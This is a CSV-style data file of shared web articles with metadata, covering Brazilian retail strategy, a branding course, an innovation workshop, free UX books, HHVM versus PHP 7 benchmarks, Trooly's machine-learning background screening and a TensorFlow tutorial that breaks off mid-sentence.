1466422341,CONTENT SHARED,-6359164149051198083,5206835909720479405,-297895832297148791,,,,HTML,http://www.brweek.com.br/2016/05/18/a-estrategia-da-ca-para-vencer-a-crise/,A ESTRATÉGIA DA C&A PARA VENCER A CRISE - brweek,"O cenário está difícil pra todo mundo. A C&A, gigante do setor de moda, está sentindo os efeitos da crise política e econômica, como a maior parte das redes de fast fashion, porém, está conseguindo resultados positivos, com estratégia focada no cliente. ""Começamos bem 2016 e vamos ter um bom ano. Varejo tem de crescer sempre"", afirmou à NOVAREJO Paulo Correa , presidente da C&A Brasil, durante um evento de varejo. O executivo contou o que a marca está fazendo para driblar esses impactos e continuar crescendo. Ele tem presença confirmada no BR Week , o principal congresso do País dedicado à estratégia de varejo, e que acontece em junho em São Paulo. Confira a conversa: Inscreva-se no BR Week 2016 Como a instabilidade política tem impactado a C&A? Mais que impactar o negócio, impacta a população, os clientes. A vida deles fica mais desafiadora em todos os sentidos e as pessoas precisam equacionar melhor seu orçamento, seus gastos, onde vão gastar, quanto vão gastar, com que frequência, que nível de compromisso ele quer assumir e isso tem impacto. Então, a gente tem tentado estar perto desse cliente e ajustar nosso sortimento e produtos para essa realidade dele. Muitos empresários defendem o impeachment da presidente Dilma Rousseff. Como você se posiciona? Qualquer empresa ou grupo de trabalho precisa de liderança e à medida que a liderança não é reconhecida pelo grupo de trabalho a gente tem problema de performance. O que está acontecendo com o Brasil é um pouco isso. Tem uma questão de crédito hoje baixa e isso tem impacto na forma como a gente opera no dia a dia e tem a questão de como ela [Dilma] é capaz de impor uma gestão melhor para o País. Estamos assistindo a cena. Nosso papel hoje é fazer a nossa contribuição cada vez mais forte para a sociedade, independente do que está acontecendo lá pra cima. Mas é óbvio que a gente espera que algo aconteça para melhor. Precisa evoluir. Do jeito que está, está ruim para todo mundo. Mas essa evolução e solução passam necessariamente pela saída da presidente? A pergunta que tem de ser feita sempre é mais do que tirar pessoa A ou B. É como vamos organizar um País decente, estruturado, com uma agenda política positiva de crescimento? Vejo muito menos essa conversa do que a conversa do impeachment e isso me dá um pouco de nervoso, porque a gente pode evoluir. Com quem vamos evoluir é uma consequência do projeto que a gente quer colocar para o País. Sem projeto, a gente fica à deriva e isso me preocupa. As notícias sobre fechamento de loja conferem. Qual é a estratégia? Da mesma forma que a gente não pode deixar de abrir, a gente não pode parar de avaliar se as decisões que tomamos fazem sentido ou não. De fato, tem determinados lugares em que a gente esperava que o Brasil fosse crescer, mas esses lugares não estão tendo mais força agora e por isso a gente precisa avaliar se faz sentido ou não manter. Há decisões mais difíceis. Na hora que a economia está crescendo um monte, é muito mais fácil abrir do que fechar. Mas na hora que a economia está difícil fica mais equilibrado. Serão 12 lojas fechadas neste ano, mas 18 aberturas. As lojas que serão fechadas são as menos interessantes pra gente. A marca lançou recentemente uma campanha que gerou repercussão. Ela é parte da estratégia da empresa? Essa nova campanha tem um pouco a ver com aquilo que a gente acredita. Estamos olhando um pouco a moda de modo mais contemporâneo, do jeito que a sociedade está se comportando. Então, ao invés de abordar aquela coisa da moda mais ditatorial e obrigatória, a gente está acreditando mais que moda é sua forma de se expressar para o mundo, onde tudo é válido: é do jeito que você quiser, da forma que você quiser e isso é uma decisão de cada um. Estamos bancando isso: uma forma mais moderna de olhar moda, muito mais do que apenas olhar tendência. A forma como cada um escolhe sua moda é o mais importante e a campanha está em cima disso, de mostrar que moda é sua forma de se expressar para o mundo. Ao lado de outros grandes varejistas, Paulo Correa debaterá o tema ""Omnichannel morreu. Bem-vindo à era do Omniconsumer: sua rede está preparada?"" no painel de encerramento do BR Week 2016! Não perca o BR Week 2016! Inscreva-se no BR Week 2016 Mais informações: 11 3125 2215 | eventos@gpadrao.com.br",pt
1466424655,CONTENT SHARED,-8204817396973648779,-1130272294246983140,5146620298637621547,,,,HTML,http://brandster.com.br/courses/curso-de-branding,"curso de branding, diferenciação e estratégia de marca","QUER SABER OS VALORES DAS PRÓXIMAS TURMAS? ESCOLHA A CIDADE: 18 a 19 de Junho de 2016 Das 9:30 as 18:30 30 a 31 de Julho de 2016 Das 9:30 as 18:30 Hotel Mercure - Av. Professor Magalhões Neto, S/N - Pituba SOROCABA | turma 28 | 2 a 3 de Julho de 2016 Das 9:30 as 18:30 Hotel Sorocaba Park Hotel, Avenida Joaquim Silva, 205 27 a 28 de Agotso de 2016 Das 9:30 as 18:30 Hotel Mercure Campinas Avenida Aquidaban 400 Centro, Campinas SP 24 a 25 de Setembro de 2016 Das 9:30 as 18:30 Hotel Intercity Interative Rua Jardins José Maria Lisboa 555, São Paulo SP CURSO EM PRÉ-MATRÍCULA, cadastre-se na lista de interesse para ser avisado da abertura das inscrições. CLIQUE AQUI CURSO EM PRÉ-MATRÍCULA, cadastre-se na lista de interesse para ser avisado da abertura das inscrições. CLIQUE AQUI CURSO EM PRÉ-MATRÍCULA, cadastre-se na lista de interesse para ser avisado da abertura das inscrições. CLIQUE AQUI QUER ESTE CURSO NA SUA CIDADE? CLIQUE AQUI!",pt
1466430254,CONTENT SHARED,-462708537764773317,1895326251577378793,5036035813177476452,,,,HTML,http://projetodraft.com/por-dentro-da-m__a-ou-simplesmente-mesa-cadeira/,"Por dentro da M__A (ou, se você quiser, Mesa & Cadeira)","O que é a Mesa & Cadeira? Pergunte para eles e eles lhe dirão: ""Uma empresa que acredita em aprender fazendo. Nossa missão é ajudar profissionais do mercado a resolver seus novos dilemas estratégicos. ""Organizamos workshops em que os participantes se sentam à mesa e trabalham num briefing real. Na cabeceira, um profissional brilhante em sua área de atuação. ""Ou seja, nossas Mesas são mesas de trabalho. Você vai fazer, errar, fazer melhor, errar diferente. E, assim, você aprende."" E como funciona a Mesa & Cadeira? Deixe que eles lhe digam: ""Alguém brilhante sentado à cabeceira + Um grupo pequeno de pessoas talentosas + Um projeto. ""A gente acredita em fazer. A melhor maneira de aprender uma coisa é trabalhando diretamente nela. Por isso, reunimos gente competente para criar ao lado de um líder inspirador. ""A gente acredita em experiência. Nossos líderes são profissionais reconhecidos em suas áreas de atuação. À Mesa, você trabalha com eles: entende como resolvem problemas, por que escolhem certos caminhos e como, ao longo de suas carreiras, chegaram a soluções eficientes. ""A gente acredita em diversidade. Idades diferentes, histórias diferentes, jeitos diferentes de olhar o mundo. Nosso compromisso com todo líder e participante é que integrar o grupo será sempre uma experiência enriquecedora."" A Mesa & Cadeira é uma criação de Barbara Soalheiro , jornalista que virou empreendedora e hoje lidera e é a facilitadora-mor dessa boutique de inovação, desse hotshop de prototipação, desse workshop maker supervitaminado. Eu participei de um evento da Mesa & Cadeira. Há Mesas independentes, em que as pessoas se reúnem por interesse diletante para trabalhar com um determinado talento que admiram, à cabeceira. E há Mesas corporativas, que trabalham para responder questões trazidas por empresas. Nas Mesas independentes você paga para participar. Nas Mesas corporativas, você é pago para sentar numa das pouco mais de uma dúzia de cadeiras postas em volta da mesa. Eu tomei parte em uma Mesa corporativa. Na condição de maker - um cara que está ali para realizar. Há também os especialistas, que estão ali para contribuir. Os especialistas atuam hands-off , como consultores. O maker atua hands-on (em bom português: com a mão na massa), e está diretamente arrolado na construção do protótipo a ser gerado. As Mesas duram cinco dias. E, ao final, o grupo tem que entregar uma resposta para o problema, tem que chegar a uma solução, tem que apresentar um protótipo. A Mesa de que participei durou dois dias e meio. E funcionou. Conseguimos chegar lá. (Bárbara comentou com o grupo que há sempre uma hora em que parece que não vai dar tempo. Mas que, ao final, sempre dá certo. É verdade - as duas coisas.) Em 2015, Barbara fez 12 Mesas. Em 2016, já foram 12 Mesas só até maio. Se não me falha a matemática, isso indica que é possível que a Mesa & Cadeira mais que dobre de tamanho esse ano. (You go, girl.) Na Mesa de que participei, havia 16 pessoas ao redor da Mesa. Doze executivos da alta direção do cliente - o presidente, três VPs, vários diretores e, de quebra, o presidente do Conselho de Administração da companhia. Mais quatro convidados externos - três especialistas e este maker que vos escreve. Além da própria Bárbara e de mais três talentos da Mesa & Cadeira. Teríamos três manhãs juntos - três turnos de 5 horas com o grupo todo reunido -, além do tempo de trabalho entre os workshops, para chegarmos ao resultado. Barbara abriu a Mesa apresentando o problema que tínhamos que resolver. Deu o cenário e a nossa missão. Essa é normalmente uma incumbência do cliente, nas Mesas corporativas - expor o briefing. No caso dessa Mesa, houve um trabalho prévio, uma tarde de discussões preliminares, para a estruturação do problema. É fundamental que todos compreendam bem onde todos têm que chegar - juntos. Também é muito importante que todos saibamos que coisas não devem ser discutidas. Uma boa pauta deixa claro tanto o que está dentro e tem que ser vencido quanto o que está fora e não deve ter lugar naquele momento. O grupo foi dividido em três subgrupos. Com temas de discussão já pré-definidos. Eram três enfoques do tema que juntos precisaríamos destrinchar. Depois de 40 minutos, cada grupo apresentou seu parecer a todos. Um processo dinâmico de geração de consenso, de explicitação e resolução de diferenças, e de tomada de decisões. O presidente do Conselho de Administração, um dos sócios-fundadores da empresa, ia fazendo wrap-ups das discussões que iam acontecendo à sua frente, de modo desenxabido. O presidente, os VPs e os diretores debatiam abertamente os caminhos a seguir. Todo mundo ali tinha o mesmo direito à voz e a voto. Ao final, uma primeira ata foi produzida, com os resultados, avanços e combinados do dia 1. Essa ata encaminhou os pontos que precisavam ser fechados no dia 2. Nesse exercício de divergir e de convergir de modo muito rápido e prático, surgiram cinco possibilidades que precisávamos analisar. Hipóteses que passavam pelo relançamento ou cancelamento de marcas existentes, pela compra de empresas, pela criação de novas marcas. Mais discussões, argumentos, concordâncias e diferentes pontos de vistas foram espocando nos subgrupos - e, depois, sendo expostos à Mesa. Uma segunda ata foi produzida, com os resultados do dia 2. Ao trazer à tona os pontos polêmicos, ao abrir o compasso para abarcar as diferentes visões, sem qualquer pudor hierárquico, a gente gerava também uma unidade, uma cumplicidade, uma força aglutinadora - a necessidade de gerar pontes e meios-do-caminho que nos possibilitassem construir a entrega final, que era a nossa obrigação mútua ali. Pensando bem, o processo pode ser visto como uma metáfora do que poderia acontecer naturalmente no dia a dia das empresas. Só que na vida real não estamos tão perto um do outro. Nem tão irmanados ao redor de um mesmo objetivo. Ali, gerávamos um pequeno laboratório que nos mostrava, de modo claríssimo, como iríamos, em menos de 60 horas de imersão e foco, construir decisões que levam com frequência mais de 60 semanas, às vezes 60 meses, para serem tomadas na toada corporativa que entendemos como ""normal"" - pontuada por tabus silenciosos, paradigmas inamovíveis, disputas de poder (umas explícitas, outras subterrâneas) e outros balangandãs da vida nas grandes empresas. Abrimos o dia 3 tratando de fechar as últimas lacunas, de zerar as últimas dúvidas e de limar as últimas arestas antes de fecharmos a entrega. E, voilà , conseguimos. A ideia era entregarmos o protótipo até às 13h - de modo a brindarmos o fim dos trabalhos. (Havia uma champanhe na geladeira.) Conseguimos consensar tudo até aquele horário - mas finalizamos o protótipo, em termos formais, somente à tarde. Acabamos não brindando. Um pouco pelo tempo, que se exauriu enquanto ainda estávamos trabalhando. Um pouco porque Barbara prefere brindar quando o trabalho é concluído dentro do cronograma previsto. É impressionante a gestão de tempo, e do próprio trabalho, que Barbara e a equipe da Mesa & Cadeira impõem ao time todo. Você pode ser o Kobe Bryant (que, aliás, já esteve na cabeceira de uma Mesa, em Los Angeles), não importa: se tergiversar, se perder o foco, se não mantiver o ritmo, será convidado com doses iguais de firmeza e simpatia a voltar à boa. O trabalho não pode parar. Nós temos uma missão a cumprir. Um compromisso coletivo. É divertido estar ali - mas estamos ali trabalhando. E duro. Essa é a Mesa & Cadeira. Eu tinha a maior vontade de participar. Tinha curiosidade de ver Barbara em ação com seu time - há uns 13 anos, eu testemunhava sua estreia profissional, como repórter na Superinteressante , revista que eu dirigia na Editora Abril. Depois, acompanhei seu voo para a Fabrica, projeto da Benetton, na Itália, fazendo a revista Colors . E também como autora de livro, como uma planejadora criativa em agências de publicidade. Foi ótimo ter reencontrado Barbara tão bem, tão relevante, ainda mais promissora do que antes (se isso é possível). Mas, sobretudo, feliz, trabalhando com propósito, fazendo diferença no mundo, escrevendo sua lenda, construindo seu legado - e sendo remunerada por isso. Que mais se pode querer de uma carreira? (You go, girl.)",pt
1466430317,CONTENT SHARED,5239464617027010625,-6316613156648676087,3233575107514524965,,,,HTML,http://www.keepitusable.com/blog/?p=2291,The Biggest list of 35 FREE UX Books,"We've pulled together the biggest list of free ux ebooks on the internet that will help you to design a better user experience / ux, conduct better user research and improve your usability. You won't find a list this extensive anywhere else. Please share with your colleagues using the social links above and let us know on Twitter which books you liked the best. 34 Introduction to good usability by Peter Conradie 35 Task-Centred User Interface Design by Clayton Lewis Have we missed any? Help us to keep this list updated for the ux community by letting us know if you find a good free ux book that we should add to the list. Next: If you found this list useful, please share it using the social buttons below, and if you liked any of the books, let us know on Twitter , we'd love to hear from you.",en
1466430530,CONTENT SHARED,-945863510619496974,3609194402293569455,7287542364117885267,,,,HTML,https://kinsta.com/blog/hhvm-vs-php-7/,HHVM vs PHP 7 - The Competition Gets Closer - Kinsta,"The ""dynamically typed"" programming language presented unprecedented opportunities for Facebook developers to build and rebuild the site, as Mark Zuckerberg puts it,"" The Hacker Way "". However, it eventually ended up losing all the knack for rapid-fire development and succumbed to the intense workload of millions of users visiting the site every minute. Then they invented HipHop, a tool that converts PHP script into C++ prior to compilation and execution on Web servers. This single - and by no means simple - change increased server capacity to accommodate a 500 to 600 percent increase in web traffic. In simple business terms, Facebook saved five to six times on server cost because of changing the way the code was run. However, the HipHop beat couldn't last long enough and Facebook needed yet another engineering breakthrough to accommodate its exploding web traffic. The team eventually developed the HipHop Virtual Machine (HHVM), a system that uses Just-In-Time (JIT) compilation to convert PHP code into a machine language to establish a synergy between the PHP code and the underlying hardware that runs it. A recent Kinsta post covers the rise and evolution of HHVM at Facebook. The virtual machine was eventually made available for the WordPress world as an open source execution engine for PHP code promising similar performance improvements over the traditional PHP execution engine, Zend. The PHP community is now responding to the HHVM competition with PHP 7, the latest PHP iteration promising 100 percent increase in performance over previous PHP versions. Feature speculations and possible enhancements for PHP 7 include: The art of programming is changing rapidly and business organizations need to tap into the mobile user-base with better value propositions. In this context, PHP 7 will feature a range of execution engine improvements, offer native local threat storage and reduce memory usage. These advantages serve particularly well for mobile devices with limited Web browsing capabilities. The upcoming PHP version also supports the idea of a greener planet with the ability to handle more traffic within the same server resources. Zeev Suraski, co-founder of Zend Technologies considers HHVM as a direct competitor to the Zend execution engine and demonstrates how far the next generation PHP version has evolved in terms of performance improvements. The ability to implement JIT execution capabilities for the Zend engine is the prime motivation behind the development of next-generation PHP language version. These capabilities enable dynamic compilation of Zend opcodes into native machine instructions, the key principle driving performance with the HHVM engine. As things stand, PHP 7 is on par with HHVM without JIT compilation capabilities featuring built-in with the Zend engine. However, PHP 7 is essentially repurposed to support better migration to a JIT compiler and promises even better performance improvements in years to come. PHP 7 is developed in a way that facilitates simultaneous execution of asynchronous tasks. This capability will allow future iterations of PHP to support asynchronous programming and tasks such as access to database, networks, timers and perform events related I/O operations by implementing a single PHP event-loop. Since the Facebook Hack language for HHVM already supports asynchronous programming, PHP core developers could see the same option made available for PHP 7 or its future iterations. This article covers a range of syntax changes expected for PHP 7. Similarly, supporting standalone multi-threading further will further allow PHP-based servers to handle simultaneous requests from a single memory pool. Benchmark Comparisons The following benchmark results compare the performance of various PHP versions and HHVM conducted across different content management systems: Text Box Specs: Resource: The test results demonstrates significant performance improvements with PHP 7 over its previous iterations, shrinking the persistent gap between PHP and HHVM. Running on WordPress 4.1.1, PHP 7 allows the system to execute twice as many requests per second in comparison with the PHP 5.6, the latest stable release. Resource: Benchmarks conducted on the Drupal 8 CMS present PHP 7 as a clear winner over HHVM with the ability to handle over 37 percent additional server requests per second. In comparison with PHP 5.4, 5.5 and 5.6 that provided minimal performance through the subsequent iterations, PHP 7 accommodated over 80 percent additional requests per second. Resource: This tests also presents PHP 7 with Zend execution as a better performing package than HHVM for CMS including WordPress and Drupal Benchmarks conducted on Ubuntu Utopic package 5.5.12 compared the performance of PHP and HHVM in running a few basic test suites: Resource: These benchmark results show interesting difference in between HHVM and PHP. PHP 7 is able to conduct the tests in 164.844 seconds with peak memory consumption of 30.879 MB. In contrast, HHVM performs the test twice as fast (84.759 seconds) but consumes 4.5 times more system memory (134.844 MB). You can review our recent real-world benchmark comparisons between the latest iterations of PHP and HHVM on this article . The peer-to-peer e-commerce giant Etsy having racked up over $108 million in annual revenue with 54 million registered users needed a serious revamp of its underlying technology infrastructure overwhelmed with millions of visits on a daily basis. Etsy engineers needed to improve the online service performance and boost backend data center efficiencies. The company adopted the open-source HHVM solution to run PHP applications to maximize performance potential of the existing hardware infrastructure without having to invest in additional data center resources. Etsy was most concerned with their new internal API to handle greater throughput so that servers could process more computing requests, consume less power and shrink operational expenses. Etsy engineers tested HHVM against PHP 5.4 by randomly splaying requests across three API endpoints, starting from 10 requests per second and ramping up to 280. The benchmark results show how PHP experienced exponential performance degradation from 190 requests per second onward. At the same time, HHVM consistently demonstrated high performance until reaching 280 requests per second. Resource: HHVM also optimized CPU time and required half as much CPU cycles as compared to PHP running exactly the same Web traffic profile and was also more efficient at communicating with backend services: Resource: Almost half a billion Internet users visit Wikimedia every month. The website embodies the true philosophy of Internet as a means to share information free and accessible to the wider world. Bringing this ideology to life effectively requires the company to serve this information to end-users at reasonable speed. Operating on a minimal budget and staff, the Wikimedia Foundation was forced to employ innovative solutions to boost backend server performance and capacity. Installing additional servers would only bottleneck performance since PHP as a single-threaded language cannot be parallelized. On the other hand, HHVM can load multiple CPU cores simultaneously to maximize the performance potential of servers. Wikimedia achieved the following performance advantages by deploying HHVM: CPU load shrunk from 50 percent to 10 percent. Mean Page Save Time halved from six seconds to three seconds. This time is the interval between users hitting the 'submit' or 'preview' button and the server processing this request. Wikimedia received over 100 million edit requests in 2014 and HHVM will now help save around 10 years of latency every year. Median Page Save Time reduced by two thirds, from 7.5 seconds to 2.5 seconds. Average Page Load Time also dropped, from 1.3 seconds to 0.9 seconds. Resource: Website performance is the crucial element of successful online presence. Progressive business organizations design systems to optimize innovation, which is all about delivering better, intelligent and useful online services faster than ever before. While we have to wait for the stable release of PHP 7 to true winner in the HHVM vs PHP 7 battle, developers and online businesses can rely on the following key findings based on private benchmark results from various developers and companies: HHVM is significantly faster than PHP-Zend packages for all PHP versions prior to PHP 7 or PHPng (PHP Next Generation). PHP 7 has a slight edge against HHVM for WordPress set-ups. WordPress users should expect PHP 7 to improve and extend this advantage in the near future. The switch to HHVM is not push-button. Large environments such as Etsy and Wikimedia Foundation took over six months to fully switch from the PHP-Zend package to PHP-HHVM package. For self-hosted websites, the complex transition requires in-house expertise and may cause disruptions until thoroughly completed. Online businesses should choose between PHP 7 and HHVM sooner than later, lest they continue to incur significantly higher datacenter OpEx and risk losing valuable brand image due to inadequate website performance. Performance optimization of PHP-based WordPress websites is an ongoing process yielding small chunks of incremental improvements. Injecting performance enhancing capabilities in the form of add-on plugins and minor code changes eventually fail to improve performance bottlenecked due to limited capabilities of the underlying PHP code-base and infrastructure. Any further performance improvements - of 100 percent or faster - will be attributed to the server capacity and capabilities to process computing requests at higher rates. Both HHVM and PHP 7 make this possible. What is your experience with using HHVM? I'd love to hear your thoughts in the comments below.",en
1466431997,CONTENT SHARED,-4320251915347436672,-1032019229384696495,2118450654323055722,,,,HTML,https://techcrunch.com/2016/06/20/trooly-is-using-machine-learning-to-judge-trustworthiness-from-digital-footprints/,Trooly is using machine learning to judge trustworthiness from digital footprints,"Trust greases the wheels of the sharing economy, paving the way for transactions to take place between total strangers. But figuring out who is trustworthy and who is not remains a sticky bottleneck for digital businesses wanting to scale faster. Meanwhile the consequences for customers when startups screw up these risk calculations can be very unpleasant indeed . The traditional route to assessing risk is to run a full background check on an individual - a process that can be time consuming and expensive, given it can involve sending an actual person to an actual courthouses to parse actual paper records. Which is why, in recent years as sharing economy businesses have been gunning to scale up, other entrepreneurs have spotted an opportunity to step in to offer online services for verifying identity and screening for unsavory behavior, to try to steal a march on more established but slower paced background checkers. A couple of examples of startups entering this space in recent years include UK startup Onfido , which just this April announced a $25 million Series B round; and US based Checkr , which raised a $40 million Series B in March. Well here's a third: Trooly , which is today announcing its Series A. Along with an earlier unannounced seed round it says it has now raised $10 million in external funding. Investors in the Series A are Bain Capital Ventures and Milliways Ventures, with the latter also investing in its seed, which it closed at the start of 2014. Trooly's big claim vs competitors is that it's doing things drastically different, even compared to the other digital newcomers, by applying machine learning algorithms to public digital footprint data - so information that can be freely found online (and on the dark web), for example on social media services and police registers of offenders - to enable risk and trust to be assessed much more speedily and cheaply. The idea being that businesses can use Trooly to perform quick pre-checks based on the public data that's out in the wild in order to make decisions on whether to proceed with the time and expense of a full background check. Or to run periodic checks to keep more up-to-date tabs on the behavior of existing staff. Trooly is not saying it can fully replace a ""gold standard"" background check (yet), but it argues there's an advantage to offering businesses a fast risk assessment so they can hedge their bets about whether to even proceed with a full background check, whilst also helping them with their ongoing goal of reducing friction from online interactions. ""Background checks are very labour based, people based. It's literally physical court runners that are going out to court houses to look at records. So typically the way we're being used in a background check mode is as a triage before sending someone to the courthouse. So a first step,"" says Trooly co-founder and CEO Savi Baveja. ""If we can probabalistically say here's a person or business who is extremely unlikely to fail a background check... that's worth a lot to our customers. Because then they can make a positive decision much earlier."" In about half of the cases he says Trooly will be able to say the probability of a failed background check is ""virtually zero"". Whereas around eight per cent of requests will get a negative hit from a background check - so that would reduce the business' costs of performing a full background check in those instances, given they could just turn down a hire or a potential customer. We're essentially trying to reinvent legacy mechanisms like background checks, credit checks and fraud mechanisms. ""Our big picture idea is to launch a way of evaluating the trustworthiness of an individual or business that fits better with modern use cases than legacy mechanisms do. We're essentially trying to reinvent legacy mechanisms like background checks, credit checks and fraud mechanisms,"" he says. ""The way we do that is we use public and legally permissible digital footprints, and in about 30 seconds - using very little input information about the individual or business - we return a scorecard that does three things: it verifies whether the input information is authentic; it screens for any relevant and seriously antisocial or pro-social prior behavior; and then it runs a series of predictive models on that footprint to say what is the propensity of this individual or small business for future antisocial or pro-social behavior."" The advantage vs competing services is speed and cost, says Baveja. He also claims Trooly is more comprehensive, and better suited to diverse tech platform use-cases. ""Both Checkr and OnFido are nothing more than a slick technology workflow on top of the same old background check as has been done for decades,"" he argues, discussing other startups in the ID verification and screening space. ""So under the hood of these companies, there are court runners going to courthouses taking up to 3 weeks to return a record (vs 30 seconds for us). ""They charge on the order of $20 (vs <<$1 for us). And their results are subject to all the same problems with bias and underlying data incompleteness as the traditional background check companies like Sterling, Hireright and dozens of others... For every hit that a company like Checkr or Onfido would return, we would be returning one additional hit (at a fraction of the cost and time)."" Baveja says Trooly has built its own dark web crawlers to be able to harvest relevant data to feed into its systems. It has also built in-house indexes of public registers of offenders, as well as licensing relevant public record data-sets from third parties (at least for its current North American markets). One area where it's applying machine learning is to help correctly interpret the data displayed on the web - to, for example, link a specific identity with a specific crime (and importantly avoid incorrectly linking pieces of data that might be being displayed on the same webpage but are not necessarily linked). It's also using machine learning to bridge gaps in public data - to help join some partial dots to improve the accuracy of its matches and also avoid making connections when there's not enough coherent information to be sure. ""A lot of public records are incomplete. They don't give you a date of the conviction, for example, they don't give you a resolution of the conviction. It's slightly messy data. And so because we're applying machine learned identity and machine learned models on top of the underlying records we're able much better to say: ok just throw out this record, you're never going to figure out anything about what this person actually did or when they did it,"" says Baveja. ""We also have machine learned models on top of the record itself telling the difference between a speeding infraction and an assault. Pretty important. So when we return something to our customer we distinguish between major crimes and minor crimes. We distinguish between recent crimes and non-recent crimes. In a way that allows them to be much more careful about what they use and don't use."" To power its future behavior prediction feature, it's using component models trained on the specific types of behaviors its customers want to identify. The core training for these models consisted of recruiting tens of thousands of people to fill out a series of standard personality/behavior instrument tests and psychology questions, according to Baveja. ""When we get a new customer we ask them to give us some data on what it is that they're trying to predict, what bad or good behavior are they trying to predict, and then we tune our component models, we weight them to predict that good or bad behavior. So the last 10 per cent of what we do is tuned to the customer's use case,"" he adds. Given it's working with partial and public data - and despite applying its salve of machine learning to heal some of the cracks - he concedes the system is still not always able to serve up a score on a particular individual or entity. In fact it's only able to provide an answer in about two-thirds of the cases. ""For the remaining one-third of requests we have to tell the customer we're not sure,"" he admits. ""There generally is 70 to 80 per cent that we are, with some degree of confidence, able to put into an inclusive bucket. The rest we just tell our customers we're not sure, there's no footprint, or we just can't figure it out."" The system also returns a confidence score - rating how confident Trooly is in a particular assessment. ""Our customers use that confidence score to decide where they want to draw the line in terms of using our scorecard,"" he adds. Of course risk mitigation is never going to be an exact science, so a margin of uncertainty and error is to be expected. Although there are perhaps wider questions to be considered about whether technology services in general - as well as tech specifically aimed at speeding up background checks - might not be encouraging businesses and consumers to accept wider risk thresholds than they otherwise might. Given that where there's risk there's clearly also opportunity. But Baveja disputes the notion that Trooly is encouraging more risk. ""We are not encouraging companies to do less thorough background checks at all - rather we are suggesting that whatever trust mechanism companies use should actually be demonstrated to predict the behavior they are trying to prevent,"" he tells TechCrunch. ""For example, if an on-demand cleaning company is worried about theft, then they should first prove/test that failing a background check is a good predictor of theft on their platform. Way too many companies default to using background checks as their basis for trust when there is little or no proof that using a background check will actually prevent the undesirable behavior from happening on their platform."" ""As a society, we have way overestimated the usefulness of background checks as a reliable predictor of anything, and, as a result, many companies live under the false security of having done a background check when the result of a background check might have no relationship to the behavior they are trying to prevent... We stand behind rigorous models that are based on proven predictive power with undesirable behaviors that our customers care about - can background checks make this claim?"" he adds. At this stage Trooly is not disclosing the exact number (or names) of its customers but Baveja says it's in the single digits. Size wise it's going after ""very very large"" entities, working with ""one of the major sharing economy companies"" on its pilot to build and refine its models - with that company now a fully fledged customer. The full Trooly production service has been up and running since August of last year. While it's started focusing on the sharing economy, where trust is clearly a pressing issue, Trooly is actually eyeing financial services companies as its major target going forward. ""We are in active pilot with financial services companies and related use cases,"" notes Baveja. ""Here there's a lot of interest in verify, the first step of what we do [such as from online lenders]... And there's a lot of interest in the compliance part. The pressure on financial institutions for KYC [know your customer], and anti-money laundering and politically exposed people... That pressure is going way up... so financial institutions are quite keen to find ways to reduce the friction."" A third use case for FS companies is Trooly's predictive modeling to help assess risk of growth areas for their lending businesses where they're likely to encounter so called 'thin file' customers - such as younger peopler, immigrants and smaller businesses. ""They don't have great models for all those things. Traditional type of scores don't do a good job of telling you about millennials,"" he adds. ""So what we do adds a lot of value there."" Its investors clearly agree with that assessment. ""Trooly has built an impressive service that demonstrates the full potential of machine learning,"" says Ajay Agarwal, managing director of Bain Capital Ventures, in a supporting statement. ""They're not simply using data to automate an existing process. They're addressing an entirely new need - one that's particularly critical for today's financial institutions and peer-to-peer marketplaces."" Trooly's Series A funding will go towards scaling up the engineering team specifically to focus on the financial service sector, as well as ramping up on marketing generally, says Baveja. It also wants to explore possibilities for expanding internationally, currently only offering services in the US and Canada, although he notes this will have to be done ""extremely carefully"" given the different legal, compliance and regulatory frameworks elsewhere. ""That obviously is going to take a lot of investment,"" he adds.",en
1466432377,CONTENT SHARED,-5253644367331262405,-2626634673110551643,-2494564909080724082,,,,HTML,https://www.oreilly.com/learning/hello-tensorflow,"Hello, TensorFlow!","Braided river. (source: National Park Service, Alaska Region on Flickr ). For more on basic techniques and coding your own machine learning algorithms, check out our O'Reilly Learning Path, ""Machine Learning."" The TensorFlow project is bigger than you might realize. The fact that it's a library for deep learning, and its connection to Google, has helped TensorFlow attract a lot of attention. But beyond the hype, there are unique elements to the project that are worthy of closer inspection: The core library is suited to a broad family of machine learning techniques, not ""just"" deep learning. Linear algebra and other internals are prominently exposed. In addition to the core machine learning functionality, TensorFlow also includes its own logging system, its own interactive log visualizer, and even its own heavily engineered serving architecture. The execution model for TensorFlow differs from Python's scikit-learn, or most tools in R. Cool stuff, but-especially for someone hoping to explore machine learning for the first time-TensorFlow can be a lot to take in. How does TensorFlow work? Let's break it down so we can see and understand every moving part. We'll explore the data flow graph that defines the computations your data will undergo, how to train models with gradient descent using TensorFlow, and how TensorBoard can visualize your TensorFlow work. The examples here won't solve industrial machine learning problems, but they'll help you understand the components underlying everything built with TensorFlow, including whatever you build next! Names and execution in Python and TensorFlow The way TensorFlow manages computation is not totally different from the way Python usually does. With both, it's important to remember, to paraphrase Hadley Wickham , that an object has no name (see Figure 1). In order to see the similarities (and differences) between how Python and TensorFlow work, let's look at how they refer to objects and handle evaluation. Figure 1. Names ""have"" objects, rather than the reverse. Image courtesy of Hadley Wickham, used with permission. The variable names in Python code aren't what they represent; they're just pointing at objects. So, when you say in Python that foo = [] and bar = foo , it isn't just that foo equals bar ; foo is bar , in the sense that they both point at the same list object. You can also see that id(foo) and id(bar) are the same. This identity, especially with mutable data structures like lists, can lead to surprising bugs when it's misunderstood. Internally, Python manages all your objects and keeps track of your variable names and which objects they refer to. The TensorFlow graph represents another layer of this kind of management; as we'll see, Python names will refer to objects that connect to more granular and managed TensorFlow graph operations. When you enter a Python expression, for example at an interactive interpreter or Read Evaluate Print Loop (REPL), whatever is read is almost always evaluated right away. Python is eager to do what you tell it. So, if I tell Python to foo.append(bar) , it appends right away, even if I never use foo again. A lazier alternative would be to just remember that I said foo.append(bar) , and if I ever evaluate foo at some point in the future, Python could do the append then. This would be closer to how TensorFlow behaves, where defining relationships is entirely separate from evaluating what the results are. TensorFlow separates the definition of computations from their execution even further by having them happen in separate places: a graph defines the operations, but the operations only happen within a session. Graphs and sessions are created independently. A graph is like a blueprint, and a session is like a construction site. Back to our plain Python example, recall that foo and bar refer to the same list. By appending bar into foo , we've put a list inside itself. You could think of this structure as a graph with one node, pointing to itself. Nesting lists is one way to represent a graph structure like a TensorFlow computation graph. Real TensorFlow graphs will be more interesting than this! The simplest TensorFlow graph To start getting our hands dirty, let's create the simplest TensorFlow graph we can, from the ground up. TensorFlow is admirably easier to install than some other frameworks. The examples here work with either Python 2.7 or 3.3+, and the TensorFlow version used is 0.8. At this point TensorFlow has already started managing a lot of state for us. There's already an implicit default graph, for example. Internally , the default graph lives in the 